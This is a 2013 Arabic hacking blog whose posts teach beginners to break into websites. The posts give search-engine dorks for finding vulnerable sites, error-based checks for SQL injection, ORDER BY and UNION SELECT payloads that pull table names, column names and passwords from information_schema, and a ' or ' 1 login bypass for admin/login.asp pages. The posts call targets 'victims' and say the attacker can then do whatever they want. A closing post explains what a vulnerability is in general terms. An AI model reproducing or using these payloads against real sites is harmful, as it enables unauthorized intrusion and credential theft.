Showing posts with label أختراق المواقع. Show all posts
Showing posts with label أختراق المواقع. Show all posts

Thursday, September 26, 2013

SQL INJECTION الجزء الثاني

SQL INJECTION 
الجزء الثاني 




السلام عليكم ورحمة الله وبركاته في التدوينة السابقة قمت بشرح حول هذه الثغرة كما سجلت مقطع فيديو كي أوضح لك الشرح. والان وبعون لله تعالى تم شرح الجزء الثاني وهو مقسم الى قسمين قسم مصور و قسم التدوينة 
القسم المموجود في التدوينة ما هو ألا شرح مبسط إضافة الى الأوامر المستخدمة في الشرح.  نبدأ على بركة لله تعالى

قد تعلمنا في التدوينة السابقة كيفية أستخراج اسم القاعدة والان ما علينا سوى الذهاب وتشفير اسم القاعدة لأستخدامها
في الأوامر المراد اتخاذها في سبيل اختراق الموقع
لنفرض ان اسم القاعدة هو 
Database Name: MacBook3arabi
ما عليك سوى نسخ اسم القاعدة والذهاب الى مواقع التشفير (رابط المواقع موجود أسفل المدونة)  وبهذا تتم عملية التشفير
والأن ننتقل الى الأمر لأستخراج اسم الجدول من اسم القاعدة 
لنفرض ان رابط الموقع المستهدف هو 
www.victimsite.com/index.php?macbook3arabiId=30
وكان عدد الأعمدة عشرة والأعمدة المصابة هي أثنان و ثلاثة و خمسة 
والأن ما علي سوى حذف إحدة الاعمدة الماصبة ولتكن اثنان وكتابة
concat(table_name)
وفي نهاية الرابط نكتب 
from information_schema.tables where table_schema=0x6772776f726b5f6772776f726b666f726365
0x6772776f726b5f6772776f726b666f726365 اسم القاعدة المشفر 
فيصبح الرابط كالتالي
www.victimsite.com/index.php?macbook3arabiId=-30 union select 1,concat(table_name),3,4,5from information_schema.tables where tables_schema= 0x6772776f726b5f6772776f726b666f726365--

ولنفرض ان اسم الجدول الموجود هو 
Omar 

والان نحتاج الى استخراج اسماء الاعمدة من اسم الجدول 
Omar
اولا يجب علينا تشفير اسم الجدول باستخدام نفس الموقع (رابط الموقع موجود اسفل التدوينة)  ثم
نضع بدل العمود المصاب الأمر التالي
group_concat(column_name)
وفي نهاية الرابط
from information_schema.columns where table_name=0x63617465676f7279
--
0x63617465676f7279 اسم الجدول المشفر
فيصبح الرابط 
http://victimesite.com/index.php?macbook3arabiId=-30 union select 1,group_concat(column_name)2,3,4,5
from information_schema.columns where table_name=0x63617465676f7279
--

 والان يظهر لدينا اسماء الاعمدة الموجودة في الجدول 
والان نختار اسم العمود المراد استخراج المعلومات منه ولنفرض اسم العمود هو 
Password 

وكتابة بعد الأمر بدل من اسم العمود المصاب
concat(password)
وفي نهاية الرابط
from omar--
منغير تشفير

victimsite.com/index.php?maccbok3arabiId=-30 union select 1,concat(password),3,4,5from omar--

والان تظهر لك الباسورد ثم تأخذ عمود اخر ولنفرض 
User 
وتسبدله بمكان الباسورد فيظهر لك اسم اليوزر 

وبهذا تتوصل الى المعلومات بالنسبة للوصول الى لوحة التحكم فما عليك سوى البحث في محركات البحث مع استخدام جمل
victimsite.com/login.php
وغيرها حتى تصل الى لوحة التحكم وتدخل بينانات ثم تتم الاختراق بإذن لله تعالى 

رابط الموقع التشفير

مشاهدة الجزء الأول مصور 


مشاهدة الجزء الثاني مصور
https://www.youtube.com/watch?v=q6EWRUsy0RU





Sunday, September 8, 2013

SQL INJECTION

SQL INJECTION 

How to Hack a website using SQL INJECTION method?


هذه التدوينة هي الجزء الأول من الدرس الكامل الذي يتكلم حول ثغرة السكل انجيكشن. ستتكلم الدوينة على جميع ما ذكر في الفيديو ولكن بشئ مختصر 

الـ دورك الثغرة : هناك العديد من الدوارك ولكن سأعطيك ثلاث دوارك شغالة بإذن لله ما عليك سوى وضعها في محركات البحث 
الدوارك هي
  • inurl:index.php?id=
  • inurl:gallery.php?id=
  • inurl:article.php?id=
  • inurl:pageid=

 انسخ الدورك وضعه في محرك البحث لتحصل على المواقع المصابة بهذه الثغرة 

فحص الثغرة: كيف تتعرف على ان المواقع مصاب بالثغرة ام لاء؟ 
الفحص بسيط ما عليك سو إضافة إشارة بسيطة واذا واجهت خطأ فإذن الموقع مصاب بالثغرة 
' 
"
انا استخدم الإشارة الأولى ولكن بعض الاحيان استخدم الثاني للتأكد من وجود الثغرة 
الخطأ غالبا يظهر كهذا  

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

قد تختلف من موقع الى اخر ولكن المعنى واحد 

الوصول الى عدد الأعمدة: للوصول الى الأعمدة اتبع الأمر التالي 

www.victimsite.com/index.php/id?=2 ORDER BY N

طبعا الجزء المكبر هو الأمر ام الباقي فهو الرابط المواقع المصاب بالغرة 

للوصول الى العدد بسرعة شاهد الفيديو الموجود اسفل التدوينة 

عدد الأعمدة المصاب:معرفة عدد الأعمدة المصابة 
لنفرض كان عدد الاعمدة الموجودة في الموقع المصاب بالثغرة هو ١٣ 

ما عليك سوى كتابة 

www.victimsite.com/index.php/id?=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13--

وستظهر لك عدد الأعمدة المصابة 

انتهى الشرح لمشاهدة الفيديو اضغط على المربع الموجود اسفل التدوينة 

https://www.youtube.com/watch?v=oX3261r1bBQ&feature=youtu.be

Thursday, August 8, 2013

أختراق المواقع عن طريق ثغرة الـ Bypass

Bypass ثغرة الـ
Macbook3arabi


واحببت ان اقدم لكم الدرس الاول MacBook 3arabi السلام عليكم ورحمة الله وبركاته احببت اقول لكم عيد مبارك من 
في طرق أستغلال الثغرات. قد شرحت سابقا عن معنى الثغرة اتمنى مشاهدات المقالات االسابقة الخاصة بالثغرات والاختراق قبل قراءة هذا الموضوع
Bypass ثغرة الـ
هي ثغرة مصاب بها العديد من المواقع لمعرفة الموقع المصاب عليك كتابة هذا الدورك

admin/login.asp

 و في محركات البحث ومشاهدة المواقع
فإذا وجدت الموقع المستهدف من هذه المواقع فعلم انه مصاب بنسبة ١٠٠٪ الثغرة قديمة لذلك من النادر ان تجد موقع جديد مصاب بهذه الثغرة البسيطة 

أستغلال الثغرة: ربما تسأل ولكن كيف اخترق الموقع عن طريق هذه الثغرة (الخطأ الأمني) سنجيب على هذا السؤال  ؟؟؟؟؟
 Admin  كلمة USERNAME   اولا تقوم بكتابة في خانة الـ 
      PASSWORD ثانيا تقوم بكتابة في خانة الـ 

' or ' 1

والان تم الاختراق وبإمكانك الان عمل ما تريد 

Contact Info:

Macbook3arabi@hotmail.com

http://www.Twitter.com/macbook3arabi 

http://www.youtube.com/macbook3rabi

http://www.facebook.com/macbook3arabi

http://www.macbook3arabi.blogspot.com/

Sunday, May 12, 2013

الثغرات وأنواعها

الثغرات و أنواعها 



كل ما تفتح منتدى عربي او اجنبي ترى أختراق الموقع عن طريقة ثغرة كذا, او طريقة أستغلال ثغرة كذا والخ.. وغالبا المبتدئ يقرأ الموضوع من البداية الى النهاية وينتهي من الموضوع دون ان يفهم شيئا على الإطلاق فإما ان يخرج ليبحث في محركات البحث عن طرق اخرى او ان ييأس ويقوم بعمل ما غير تعلم الاختراق 

في هذا المقال سنعرف معنى الثغرة؟ 

  • السؤال الذي يطرح نفسه ما هي الثغرة؟ 
هي عبارة عن خطأ برمجي يساعد المخترق من اختراق الضحية. والثغرات لا تقتصر فقط في طرق الاختراق دعني اشرحها لك. 
في مجال لعبة الشطرنج بينما تقوم باللعب ضد اللاعب فيجب عليك إيجاد ثغرة او خطأ تستطيع من خلاله الدخول للمكلة الضحية ومحاصرة الملك. 
في مجال الحرب هناك شئ ما يسمى الثغور وهي جمع كلمة ثغرة وهي فتحة تمكن العدو من الهجوم على الدولة فتقوم الدولة بإغلاقها ببناء مستعمرات و معسكرات. 
هذا هو مفهوم الثغرة هو خطأ يمكنك من اختراق أو أستغلال الشخص او الشئ المصاب بها هناك ايضا مثال اخر لو لدينا شخص يثق بالناس ثقة عمياء فابإمكانك استغلال هذه العاطفة او دعنا نسميها ثغرة فيه لأغراضك المادية. 

  • بعد ان فهمنا الثغرة ولكن لماذا هذا التنوع الهائل بها وكل نوع يحتاج الى طريقة مختلفة بشكل جزئي او كلي للثغرة الاخرى؟ 

كل ثغرة تحتاج الى طريقة استغلال معينة والى أوامر معينة على سبيل المثال ثغرة SQL هي ثغرة مختلفة عن ثغرة XSS
والامر ليس غريبا كما شرحت سابقا بما ان حركة القطع عند لاعب الشطرنج تعطيك ثغرة ولكن كل حركة لها طريقة مختلفة للدخول الى المملكة. وكذلك بالنسبة للثغور فكل مكان يحتاج الى تجهيزات للدخول و الهجوم على العدو ونفس الامر برمجيا كل ثغرة تحتاج الى طريقة أستغلال مختلفة 

سننهي الشرح الى هنا. 

شكرا على قراءة المقال